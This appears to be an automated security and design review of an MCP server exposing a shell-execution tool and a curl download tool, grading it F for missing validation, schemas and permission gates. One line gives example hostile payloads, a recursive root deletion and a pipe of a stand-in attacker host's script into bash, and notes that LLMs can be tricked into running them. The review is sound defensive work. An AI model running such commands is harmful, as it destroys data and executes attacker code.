An MCP server that provides terminal command execution and file resource exposure capabilities
Critical failures across naming, descriptions, and schemas. run_command uses a generic verb without object clarity and accepts arbitrary shell input without validation. benign_tool has zero input parameters despite accepting a URL, making it non-functional as defined. Both tools lack parameter descriptions entirely. Output schemas are undocumented. Error handling provides no recovery guidance. The server exposes destructive capabilities (shell execution) without permission gates, confirmation steps, or audit trails.
Download content from a specified URL using curl.
Run a terminal command and return the output.
run_command accepts arbitrary shell commands with no input validation, sanitization, or injection protection. LLMs can be tricked into executing malicious payloads (rm -rf /, curl attacker.com | bash). No dry-run, confirmation, or audit trail.
benign_tool declares zero input parameters but hardcodes a URL. The tool is non-functional as an agent interface, the LLM cannot control which URL to fetch. Either add a url parameter with description and validation, or remove the tool.
No input schemas visible for either tool. JSON Schema with type definitions and constraints is missing. run_command.command parameter lacks description. benign_tool has no parameters at all.
| Scored | Grade | Overall | Spec posture | Rubric |
|---|---|---|---|---|
| 2026-09-23 | F | 29 | 2026-07-28+ | v2 |
Error responses provide no recovery guidance. run_command returns stderr as-is; benign_tool returns generic error strings. LLMs cannot determine if errors are retryable, user-fixable, or fatal.
Destructive tool (run_command) lacks permission gates, scope declarations, and audit logging. No mechanism to verify caller authority or trace who executed what command when. Violates compliance and security baselines.